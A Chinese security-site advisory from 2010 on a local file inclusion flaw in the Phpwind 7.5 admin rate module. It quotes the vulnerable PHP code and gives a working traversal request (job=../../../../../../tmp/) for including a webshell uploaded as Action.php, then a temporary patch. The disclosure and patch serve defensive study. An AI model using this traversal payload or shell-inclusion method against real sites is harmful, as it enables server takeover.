首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Phpwind7.5 后台本地包含漏洞利用
来源:vfocus.net 作者:vfocus 发布时间:2010-02-08  

影响版本:Phpwind7.5

文件:hack\rate\admin.php
源码:
<?php
!function_exists('readover') && exit('Forbidden');
define ( "H_R", R_P . "hack/rate/" );
define ( "L_R", R_P . "lib/" );
InitGP ( array ('ajax' ) );
$action = strtolower ( ($job) ? $job : "admin" );
$filepath = H_R . "action/" . $action . "Action.php";

(! file_exists ( $filepath )) && exit ();

if ($job != "ajax") {
    require H_R . '/template/layout.php';
} else {
    require_once $filepath;
}

?>

再看看hack\rate\template\layout.php:
<?php
!function_exists('readover') && exit('Forbidden');
include_once PrintEot ( 'left' );
print <<<EOT
-->
EOT;
require_once $filepath;
include_once PrintEot ( 'adminbottom' );
?>

$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。
 
 
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw /admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
 
 
 
临时补丁:

$filepath = H_R . "action/" . $action . "Action.php";
替换为:
$filepath = Pcv(H_R . "action/" . $action . "Action.php");

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Discuz!7.0-7.2后台settings.inc
·MASA2EL Music City v1.0远程注
·Discuz插件《虚拟股市》blind In
·Shopxp v8.0 SQL Injection 0day
·Sablog-X v2.x 任意变量覆盖漏洞
·睛天电影系统注入漏洞
·OK3W v4.7文章管理系统漏洞
·Sablog-X 2.X 后台管理权限欺骗
·远程包含和本地包含漏洞的原理
·搜狗浏览器“页面欺骗”漏洞
·鼎峰企业智能建站系统注入搜索注
·韩国gnuboard论坛漏洞EXP及使用
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved